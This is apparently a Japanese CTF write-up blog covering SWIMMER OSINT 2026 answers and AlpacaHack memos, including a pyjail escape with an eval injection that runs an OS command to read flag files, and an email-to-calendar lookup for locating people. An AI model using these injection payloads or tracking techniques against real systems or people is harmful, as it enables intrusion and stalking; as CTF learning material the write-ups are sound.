&lt;p>&lt;a href="https://11foot8.com/moving-truck-runs-red-light-and-scrapes-the-11foot88-bridge/"target="_blank" rel="noopener noreferrer">https://11foot8.com/moving-truck-runs-red-light-and-scrapes-the-11foot88-bridge/&lt;/a>&lt;/p>
&lt;p>この動画から，トラックの車体に書かれていたFQDNは&lt;code>www.MiracleMoversUSA.com&lt;/code>だとわかる．&lt;/p>
&lt;p>&lt;code>SWIMMER{www.MiracleMoversUSA.com}&lt;/code>&lt;/p>
&lt;h3 id="debris-100pt--228-solvesmedium">debris (100pt / 228 solves)[medium]&lt;/h3>
&lt;blockquote>
&lt;p>2025年12月8日、日本のあるテレビ番組で、高速道路のパトロール隊への密着取材の様子が放映されました。&lt;br>
パトロール隊の108号車は、路上に落下していたトン袋の回収を命じられました。トン袋が最初に落下していた地点はどこでしょうか？&lt;br>
マップ上で示して解答してください。&lt;br>
content warning : 交通事故の映像が含まれる映像を視聴する必要があります（人が巻き込まれるシーンはありません）。&lt;/p>
&lt;/blockquote>
&lt;p>以下のサイトに，テレビ番組の内容がまとめられていた．&lt;/p>
&lt;p>&lt;a href="https://mezamashi.media/articles/-/232641"target="_blank" rel="noopener noreferrer">https://mezamashi.media/articles/-/232641&lt;/a>&lt;/p>
&lt;p>「上りの護国寺合流先、音羽」という情報が得られたので，Google Mapで調べる．&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/swimmer-osint-ctf-2026/im05.png"
alt="This is a image"/>&lt;/p>
&lt;p>あとは，首都高速で該当の場所を探すと，サイトの画像と同じ場所が見つかった．&lt;/p>
&lt;p>&lt;img src="https://mezamashi.ismcdn.jp/mwimgs/7/5/1416/img_75008fbf85dc66b1c2942fc1d8a69d5a650413.jpg"
alt="This is a image"/>&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/swimmer-osint-ctf-2026/im06.png"
alt="This is a image"/>&lt;/p>
&lt;p>2回目で正しい場所に提出できた．&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/swimmer-osint-ctf-2026/im07.png"
alt="This is a image"/>&lt;/p>
&lt;h3 id="lattice_tower-100pt--286-solvesmedium">lattice_tower (100pt / 286 solves)[medium]&lt;/h3>
&lt;blockquote>
&lt;p>2025年12月、日本で地震が発生し、ある通信施設の鉄塔が被害を受けました。&lt;br>
主要ニュースで報じられた名称以外に、このビルには通信施設としての別の公式な名前があるようです。&lt;br>
その正式名称を日本語で解答してください。&lt;br>
ただし、解答にアルファベットや数字が含まれている場合はそのまま答えてください（ただし、 半角英数字 にしてください）。&lt;br>
また、そのビルを保有している会社名は含まず、ビル名だけがFlagになります。&lt;br>
例えば、「SWIMMER OSINT CTF株式会社　台場SWIMMER2026ビル」だった場合、Flagは SWIMMER{台場SWIMMER2026ビル} となります。&lt;/p>
&lt;/blockquote>
&lt;p>調べるとNTT青森八戸ビルであることがわかるが，これは正式名称ではないらしい．&lt;/p>
&lt;p>&lt;a href="https://www.ntt-east.co.jp/release/detail/20251210_02.html"target="_blank" rel="noopener noreferrer">https://www.ntt-east.co.jp/release/detail/20251210_02.html&lt;/a>&lt;/p>
&lt;p>「ntt青森八戸ビル 通信施設」で2025年11月30日以前で検索すると以下のサイトがヒット．&lt;/p>
&lt;p>&lt;a href="https://telecom.blog.jp/archives/02_NTTE_Hachinohe.html"target="_blank" rel="noopener noreferrer">https://telecom.blog.jp/archives/02_NTTE_Hachinohe.html&lt;/a>&lt;/p>
&lt;p>&lt;code>SWIMMER{八戸NW3棟局}&lt;/code>&lt;/p>
&lt;h3 id="paint-100pt--282-solvesmedium">paint (100pt / 282 solves)[medium]&lt;/h3>
&lt;blockquote>
&lt;p>添付画像に写っている航空機は、ある映画にちなんだ特別塗装機です。&lt;br>
この特別塗装機は、2017年3月21日に就航開始しましたが、2025年に引退が発表され、去る2026年1月9日、この塗装での最後の運航を終了しました。&lt;br>
さて、2017年にこの特別塗装が行われた建物はどこでしょうか。座標を地図上で示してください。&lt;br>
paint.jpg&lt;/p>
&lt;/blockquote>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/swimmer-osint-ctf-2026/paint.jpg"
alt="This is a image"/>&lt;/p>
&lt;p>画像検索などで調べると，以下のサイトにたどり着いた．&lt;/p>
&lt;p>&lt;a href="https://travel.watch.impress.co.jp/docs/news/1050316.html"target="_blank" rel="noopener noreferrer">https://travel.watch.impress.co.jp/docs/news/1050316.html&lt;/a>&lt;/p>
&lt;blockquote>
&lt;p>伊丹空港に隣接するMRO Japanで塗装作業が進められた&lt;/p>
&lt;/blockquote>
&lt;p>とあるので，伊丹空港に隣接するMRO Japanの場所を調べる．
しかし，MRO Japanは現在は那覇に移転されており，伊丹空港からはなくなっていたため，場所がわからない．&lt;/p>
&lt;p>上記サイトに記載の動画（ &lt;a href="https://youtu.be/Ko0SRkR00F0"target="_blank" rel="noopener noreferrer">https://youtu.be/Ko0SRkR00F0&lt;/a> ）をみると，塗装が行われたであろう建物が写っている．&lt;/p>
&lt;p>Google Earth で2017/5/18の航空写真から探してみると，おそらく以下だと特定．&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/swimmer-osint-ctf-2026/im03.png"
alt="This is a image"/>&lt;/p>
&lt;p>提出すると，正解だった．&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/swimmer-osint-ctf-2026/im04.png"
alt="This is a image"/>&lt;/p>
&lt;h3 id="satellite_imagery-100pt--344-solvesmedium">satellite_imagery (100pt / 344 solves)[medium]&lt;/h3>
&lt;blockquote>
&lt;p>この衛星画像が取得（撮影）された日はいつでしょうか？ YYYY/MM/DD 形式で解答してください。&lt;br>
例えば2026年1月17日の場合、Flagは SWIMMER{2026/01/17} となります。&lt;br>
satellite_imagery.jpg&lt;/p>
&lt;/blockquote>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/swimmer-osint-ctf-2026/satellite_imagery.jpg"
alt="This is a image"/>&lt;/p>
&lt;p>画像に&lt;code>ケータリングビル&lt;/code>とあるので，Google Earth で検索するとヒットする．撮影日時は2025/04/18だとわかった．&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/swimmer-osint-ctf-2026/im02.png"
alt="This is a image"/>&lt;/p>
&lt;p>&lt;code>SWIMMER{2025/04/18}&lt;/code>&lt;/p>
&lt;h3 id="rage-100pt--301-solveshard">rage (100pt / 301 solves)[hard]　&lt;/h3>
&lt;blockquote>
&lt;p>2025年7月、メキシコシティでは住宅価格の高騰を理由とするデモが起きました。 &lt;br>
以下の記事URLから確認できる報道写真で破壊されている店舗がオープンした日時を、 YYYY/MM/DD （現地時間）の形式で解答してください。&lt;br>
例えば、答えが2025年7月5日の場合、Flagは SWIMMER{2025/07/05} となります。&lt;br>
記事 / Article: &lt;a href="https://www.jiji.com/jc/article?k=2025070500264&amp;amp;g=int&amp;amp;p=20250705at46S&amp;amp;rel=pv"target="_blank" rel="noopener noreferrer">https://www.jiji.com/jc/article?k=2025070500264&amp;g=int&amp;p=20250705at46S&amp;rel=pv&lt;/a>&lt;/p>
&lt;/blockquote>
&lt;p>まず画像検索で類似の画像を検索した結果，以下のサイトを発見．&lt;/p>
&lt;p>&lt;a href="https://nationalpost.com/video/a93578ce-59f2-11f0-820e-12676e2ca516/protests-against-surging-mass-tourism-in-mexico-city-end-in-vandalism-harassment-of-tourists"target="_blank" rel="noopener noreferrer">https://nationalpost.com/video/a93578ce-59f2-11f0-820e-12676e2ca516/protests-against-surging-mass-tourism-in-mexico-city-end-in-vandalism-harassment-of-tourists&lt;/a>&lt;/p>
&lt;p>デモの様子の動画を再生できる．途中のお店のシーンで特徴的なロゴを画像検索すると，RIPNDIP という店だとわかった．&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/swimmer-osint-ctf-2026/im01.png"
alt="This is a image"/>&lt;/p>
&lt;p>メキシコシティにあるRIPNDIPを調べると，Ripndip Mexico Cityだとわかる．&lt;/p>
&lt;p>この店舗がオープンした日時は，以下のサイトから，2024/09/14だとわかった．&lt;/p>
&lt;p>&lt;a href="https://milled.com/ripndip/new-ripndip-mexico-city-store-PY2G_9O6DSqhFCOJ"target="_blank" rel="noopener noreferrer">https://milled.com/ripndip/new-ripndip-mexico-city-store-PY2G_9O6DSqhFCOJ&lt;/a>&lt;/p>
&lt;p>&lt;code>SWIMMER{2024/09/14}&lt;/code>&lt;/p>
&lt;p>上記を全て解くと，以下の最終問題が出現．（ただし，research_2025カテゴリは必須ではなかったらしい．）&lt;/p>
&lt;h2 id="ops_swimmer">ops_swimmer&lt;/h2>
&lt;h3 id="ops_swimmer-457pt--75-solveshard">ops_swimmer (457pt / 75 solves)[hard]&lt;/h3>
&lt;blockquote>
&lt;p>2025年のある日、rain, debeyohiru, lilica が初めて3人で集まったようです。 この日以降、この集団は活動を徐々に活発化させました。&lt;br>
それはいつ・どこだったのでしょうか？&lt;br>
以下の情報を教えてください。&lt;br>
日付（YYYY/MM/DD 形式）&lt;br>
集合時刻（HHmm 形式。日本時間で24時間表記）&lt;br>
場所（チェーン店名と店舗名）&lt;br>
例えば、2025年の10月1日の20時00分（日本時間）に、マクドナルド 新宿西口店で集合している場合、 Flagは SWIMMER{2025/10/01_2000_マクドナルド新宿西口店} となります。&lt;br>
店舗名は 公式サイト の日本語表記に準拠します。ただし、スペース ( ) が含まれている場合、それを省いてください。&lt;/p>
&lt;/blockquote>
&lt;blockquote class="twitter-tweet">&lt;p lang="ja" dir="ltr">この前コミケ前にお友達と会ってきたのもある&lt;br>&lt;br>この世界を再構成する　絶対にする&lt;/p>&amp;mdash; 黄昏ブロッサムリリカ (@twilight_lilica) &lt;a href="https://twitter.com/twilight_lilica/status/2007449492468211719?ref_src=twsrc%5Etfw">January 3, 2026&lt;/a>&lt;/blockquote> &lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8">&lt;/script>
&lt;blockquote class="twitter-tweet">&lt;p lang="ja" dir="ltr">その時の写真&lt;br>食べかけだけど &lt;a href="https://t.co/kSvESX6REH">pic.twitter.com/kSvESX6REH&lt;/a>&lt;/p>&amp;mdash; 黄昏ブロッサムリリカ (@twilight_lilica) &lt;a href="https://twitter.com/twilight_lilica/status/2007451888996724926?ref_src=twsrc%5Etfw">January 3, 2026&lt;/a>&lt;/blockquote> &lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8">&lt;/script>
&lt;blockquote class="twitter-tweet">&lt;p lang="ja" dir="ltr">さっき解散した！&lt;br>何か新しいことが始まりそう予感 &lt;a href="https://t.co/rVwerQP7uy">pic.twitter.com/rVwerQP7uy&lt;/a>&lt;/p>&amp;mdash; brutorain (@bruto_rain) &lt;a href="https://twitter.com/bruto_rain/status/2005982246499742052?ref_src=twsrc%5Etfw">December 30, 2025&lt;/a>&lt;/blockquote> &lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8">&lt;/script>
&lt;blockquote class="twitter-tweet">&lt;p lang="ja" dir="ltr">これもいつ無くなるか分からないよな&lt;br>念の為記録しておこう&lt;br>流石にMVは消えないと思ってるけど何があるかわからない &lt;a href="https://t.co/SbPPtMr7Wi">pic.twitter.com/SbPPtMr7Wi&lt;/a>&lt;/p>&amp;mdash; brutorain (@bruto_rain) &lt;a href="https://twitter.com/bruto_rain/status/2006604801514057878?ref_src=twsrc%5Etfw">January 1, 2026&lt;/a>&lt;/blockquote> &lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8">&lt;/script>
&lt;blockquote class="twitter-tweet">&lt;p lang="ja" dir="ltr">この前の写真整理してる&lt;br>ハンバーグうまかった &lt;a href="https://t.co/CxLj4NzKDV">pic.twitter.com/CxLj4NzKDV&lt;/a>&lt;/p>&amp;mdash; brutorain (@bruto_rain) &lt;a href="https://twitter.com/bruto_rain/status/2007384438939021503?ref_src=twsrc%5Etfw">January 3, 2026&lt;/a>&lt;/blockquote> &lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8">&lt;/script>
&lt;p>これらの情報から，2025/12/30 にデニーズ大井町駅前店で集合したと推測できる．&lt;/p>
&lt;p>「さっき解散した！」のツイートの画像はおそらくこの場所．Googleストリートビューは2018年10月のため少し古い．&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/swimmer-osint-ctf-2026/im13.png"
alt="This is a image"/>&lt;/p>
&lt;p>だが，残りの集合時間がわからなかった．&lt;/p>
&lt;p>[追記]&lt;br>
CTF終了後，GmailアドレスからGoogleカレンダーの情報が得られることがわかった．&lt;/p>
&lt;p>&lt;a href="https://epieos.com/"target="_blank" rel="noopener noreferrer">https://epieos.com/&lt;/a> などを使えば，&lt;code>furaigo5.onionsoup@gmail.com&lt;/code>を入力すると，以下の情報が得られる．&lt;/p>
&lt;p>&lt;a href="https://calendar.google.com/calendar/u/0/embed?src=furaigo5.onionsoup@gmail.com"target="_blank" rel="noopener noreferrer">https://calendar.google.com/calendar/u/0/embed?src=furaigo5.onionsoup@gmail.com&lt;/a>&lt;/p>
&lt;blockquote>
&lt;p>集会：2025年 12月 30日 (火曜日)·午後6:30～8:30&lt;br>
notes：18:30集合　店の前&lt;/p>
&lt;/blockquote>
&lt;p>この情報から，flagは以下になる．&lt;/p>
&lt;p>&lt;code>SWIMMER{2025/12/30_1830_デニーズ大井町駅前店}&lt;/code>&lt;/p></description></item><item><title>AlpacaHack memo</title><link>https://stark2420.github.io/starknote/post/alpacahack/</link><pubDate>Wed, 14 Jan 2026 00:00:00 +0000</pubDate><author>example@example.com (Stark)</author><guid>https://stark2420.github.io/starknote/post/alpacahack/</guid><description>&lt;p>AlpacaHackに取り組んだ内容をメモしておく．&lt;/p>
&lt;h2 id="misc">Misc&lt;/h2>
&lt;details class="article markdown-body">&lt;summary>&lt;u>
2025-12-01 AlpacaHack 2100 [Welcome]
&lt;/u>&lt;/summary>
&lt;h3 id="alpacahack-2100-welcome">AlpacaHack 2100 [Welcome]&lt;/h3>
&lt;blockquote>
&lt;p>🦙 &amp;lt; フラグは Daily AlpacaHack の 2100年1月 のカレンダーにあるパカ&lt;/p>
&lt;/blockquote>
&lt;h4 id="概要">概要&lt;/h4>
&lt;p>URLの&lt;code>month=&lt;/code>パラメータを書き換える．&lt;/p>
&lt;h4 id="解法">解法&lt;/h4>
&lt;p>URLが&lt;code>https://alpacahack.com/daily?month=2026-01&lt;/code>となっているので，これを&lt;code>https://alpacahack.com/daily?month=2100-01&lt;/code>に書き換える．&lt;/p>
&lt;p>2100年1月のカレンダーの中からflagが得られる．&lt;/p>
&lt;p>&lt;code>Alpaca{brought_AGI_to_humanity..._yes,_Alpaca_Gentle_Intelligence.}&lt;/code>&lt;/p>
&lt;/details>
&lt;hr>
&lt;details class="article markdown-body">&lt;summary>&lt;u>
2026-01-14 free-comment [Hard]
&lt;/u>&lt;/summary>
&lt;h3 id="free-comment-hard">free-comment [Hard]&lt;/h3>
&lt;blockquote>
&lt;p>pyjailの世界へようこそ&lt;br>
nc 34.170.146.252 26254&lt;/p>
&lt;/blockquote>
&lt;h4 id="概要-1">概要&lt;/h4>
&lt;p>pyexec問題（今回はeval関数）．&lt;br>
コメントアウト記号 &lt;code>#&lt;/code> を回避して任意コードを実行．&lt;/p>
&lt;h4 id="解法-1">解法&lt;/h4>
&lt;p>&lt;code>input()&lt;/code>の入力の先頭に&lt;code>#&lt;/code>が付けられるため，入力内容がコメントアウトされてしまう．&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">jail.py&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">eval&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;# &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#39;Hi!&amp;#39;&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;p>Python の &lt;code>input()&lt;/code> は &lt;code>\n&lt;/code> までのデータを入力値として受け取る．&lt;br>
そのため，&lt;code>\n&lt;/code> ではなく，&lt;strong>Carriage Return&lt;/strong> &lt;code>\r&lt;/code> を使えば，&lt;code>#&lt;/code> によるコメントアウトを回避して任意の Python コードを実行できる．&lt;/p>
&lt;p>しかし，&lt;code>input()&lt;/code> の入力後には &lt;code>\n'Hi!'&lt;/code>が連結され，その全体が &lt;code>eval&lt;/code> に渡される点に注意が必要である．&lt;/p>
&lt;p>&lt;code>eval&lt;/code> は &lt;strong>単一の式&lt;/strong> しか評価できないため，以下のような入力は構文エラーになる．&lt;/p>
&lt;pre tabindex="0">&lt;code>\rprint(__import__(&amp;#39;os&amp;#39;).popen(&amp;#39;cat /flag-*.txt&amp;#39;).read())
&lt;/code>&lt;/pre>&lt;p>これは，実際には次のように解釈されるためである．&lt;/p>
&lt;pre tabindex="0">&lt;code>eval(&amp;#34;#
print(__import__(&amp;#39;os&amp;#39;).popen(&amp;#39;cat /flag-*.txt&amp;#39;).read())
&amp;#39;Hi!&amp;#39;&amp;#34;)
&lt;/code>&lt;/pre>&lt;p>Pythonでは，行末にバックスラッシュ&lt;code>\&lt;/code>置くことで，複数行を1行として記述できる．&lt;br>
ただし，ここでは文字列中にバックスラッシュを含める必要があるため，&lt;code>\\&lt;/code>とエスケープする必要があることに注意．&lt;/p>
&lt;p>これを利用し，&lt;code>or&lt;/code> 演算子で式を連結することで，以下のように &lt;strong>単一の式&lt;/strong> として評価させることができる．&lt;/p>
&lt;pre tabindex="0">&lt;code>\rprint(__import__(&amp;#39;os&amp;#39;).popen(&amp;#39;cat /flag-*.txt&amp;#39;).read()) or \\
&lt;/code>&lt;/pre>&lt;p>実際に &lt;code>eval&lt;/code> に渡されるコードは次の通り．&lt;/p>
&lt;pre tabindex="0">&lt;code>eval(&amp;#34;#
print(__import__(&amp;#39;os&amp;#39;).popen(&amp;#39;cat /flag-*.txt&amp;#39;).read()) or \
&amp;#39;Hi!&amp;#39;&amp;#34;)
&lt;/code>&lt;/pre>&lt;p>よって以下を実行するとflagが得られる．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ echo -e &amp;#34;\rprint(__import__(&amp;#39;os&amp;#39;).popen(&amp;#39;cat /flag-*.txt&amp;#39;).read()) or \\&amp;#34; | nc 34.170.146.252 26254
&amp;gt; Alpaca{:ultrafastparrot:_pyjail_:ultrafastparrot:}
Hi!
&lt;/code>&lt;/pre>&lt;h4 id="注意点">注意点&lt;/h4>
&lt;p>制御文字（今回の場合は &lt;code>\r&lt;/code>）を入力する際は，手入力では正しく送信できないことが多い．&lt;/p>
&lt;p>そのため，&lt;code>echo -e&lt;/code> などを使って明示的に制御文字を含める必要がある．&lt;/p>
&lt;p>例えば，以下のように手入力した場合，&lt;code>\r&lt;/code> は単なる文字列として扱われてしまい，意図した挙動にならない．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ nc 34.170.146.252 26254
&amp;gt; \rprint(__import__(&amp;#39;os&amp;#39;).popen(&amp;#39;cat /flag-*.txt&amp;#39;).read()) or \\
Hi!
&lt;/code>&lt;/pre>&lt;/details>
&lt;hr>
&lt;details class="article markdown-body">&lt;summary>&lt;u>
2026-01-17 Base Length [Medium]
&lt;/u>&lt;/summary>
&lt;h3 id="base-length-medium">Base Length [Medium]&lt;/h3>
&lt;blockquote>
&lt;p>Base32 より Base64 のほうが効率的って聞きました！&lt;/p>
&lt;/blockquote>
&lt;h4 id="概要-2">概要&lt;/h4>
&lt;p>Base64とBase32．&lt;br>
pythonの&lt;code>base64.b64decode&lt;/code>関数の仕様を利用して，同じ復号結果で，base32 よりも base64 の文字数を大きくする．&lt;/p>
&lt;h4 id="解法-2">解法&lt;/h4>
&lt;p>同じ復号結果で，base32 よりも base64 の方が文字数が大きくなればいい．&lt;/p>
&lt;p>しかし，Base32は5bitで1文字，Base64は6bitで1文字に変換するので，通常はbase32の方が長くなる．&lt;/p>
&lt;p>さらに，パディングで利用できる&lt;code>=&lt;/code>も0個であることが要求されている．&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">chal.py&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">base64&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">b32decode&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b64decode&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b32&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Base32: &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b64&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Base64: &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">assert&lt;/span> &lt;span class="n">b32&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">count&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;=&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">b64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">count&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;=&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;Don&amp;#39;t use padding!&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">assert&lt;/span> &lt;span class="n">b32decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b32&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">b64decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b64&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="s2">&amp;#34;Decoded values are not equal!&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Base32: 5 bits -&amp;gt; 1 char,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Base64: 6 bits -&amp;gt; 1 char, so ...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b32&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b64&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Expected :)&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># never reach here :)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Wow... The flag is Alpaca{**** REDACTED ****}&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;p>Python公式リファレンス (&lt;a href="https://docs.python.org/ja/3.13/library/base64.html"target="_blank" rel="noopener noreferrer">https://docs.python.org/ja/3.13/library/base64.html&lt;/a>) によると，&lt;/p>
&lt;blockquote>
&lt;p>base64.b64decode(s, altchars=None, validate=False)&lt;br>
　validate が False (デフォルト) の場合、標準の base64 アルファベットでも代替文字でもない文字はパディングチェックの前に無視されます。 validate が True の場合、入力に base64 アルファベット以外の文字があると binascii.Error を発生させます。&lt;/p>
&lt;/blockquote>
&lt;p>すなわち，Base64の末尾にアルファベットでも代替文字でもない文字である&lt;code>スペース&lt;/code>を沢山入れた場合，その&lt;code>スペース&lt;/code>は無視される．&lt;/p>
&lt;p>これを利用して，Base64の末尾に&lt;code>スペース&lt;/code>を沢山入れれば，base32 よりも Base64の方が文字数を大きくできる．&lt;/p>
&lt;p>パディングの&lt;code>=&lt;/code>は0個である必要があるので，適当に30文字を符号化する．&lt;/p>
&lt;pre tabindex="0">&lt;code>from base64 import b32encode, b64encode
payload = b&amp;#34;A&amp;#34; * 30
print(b32encode(payload))
print(b64encode(payload))
# b&amp;#39;IFAUCQKBIFAUCQKBIFAUCQKBIFAUCQKBIFAUCQKBIFAUCQKB&amp;#39;
# b&amp;#39;QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB&amp;#39;
&lt;/code>&lt;/pre>&lt;p>あとは，Base64の末尾に&lt;code>スペース&lt;/code>を9個以上入力すれば，flagが得られる．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ nc 34.170.146.252 60350
Base32: IFAUCQKBIFAUCQKBIFAUCQKBIFAUCQKBIFAUCQKBIFAUCQKB
Base64: QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
Wow... The flag is Alpaca{BASE32ISSUPERIOR}
&lt;/code>&lt;/pre>&lt;/details>
&lt;h2 id="web">Web&lt;/h2>
&lt;details class="article markdown-body">&lt;summary>&lt;u>
2025-12-03 Emojify [Medium]
&lt;/u>&lt;/summary>
&lt;h3 id="emojify-medium">Emojify [Medium]&lt;/h3>
&lt;blockquote>
&lt;p>:pizza: -&amp;gt; 🍕&lt;/p>
&lt;/blockquote>
&lt;h4 id="概要-3">概要&lt;/h4>
&lt;p>JavaScriptの関数URL()コンストラクターの仕様を利用して，wafを通過させつつ，任意のローカルURLを指定する．&lt;/p>
&lt;h4 id="解法-3">解法&lt;/h4>
&lt;p>入力文字&lt;code>path&lt;/code>に対してwafを通過させ，&lt;code>URL(path, &amp;quot;http://backend:3000&amp;quot;)&lt;/code>でURLを作成している．&lt;/p>
&lt;p>wafでは，&lt;code>path&lt;/code>が&lt;code>/&lt;/code>で始まること，&lt;code>&amp;quot;emoji&amp;quot;&lt;/code>の文字列が含まれることが必要条件となっている．&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">frontend/index.js&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="line">&lt;span class="cl">&lt;span class="kr">import&lt;/span> &lt;span class="nx">express&lt;/span> &lt;span class="nx">from&lt;/span> &lt;span class="s2">&amp;#34;express&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">import&lt;/span> &lt;span class="nx">fs&lt;/span> &lt;span class="nx">from&lt;/span> &lt;span class="s2">&amp;#34;node:fs&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">waf&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">path&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="k">typeof&lt;/span> &lt;span class="nx">path&lt;/span> &lt;span class="o">!==&lt;/span> &lt;span class="s2">&amp;#34;string&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">throw&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nb">Error&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Invalid types&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
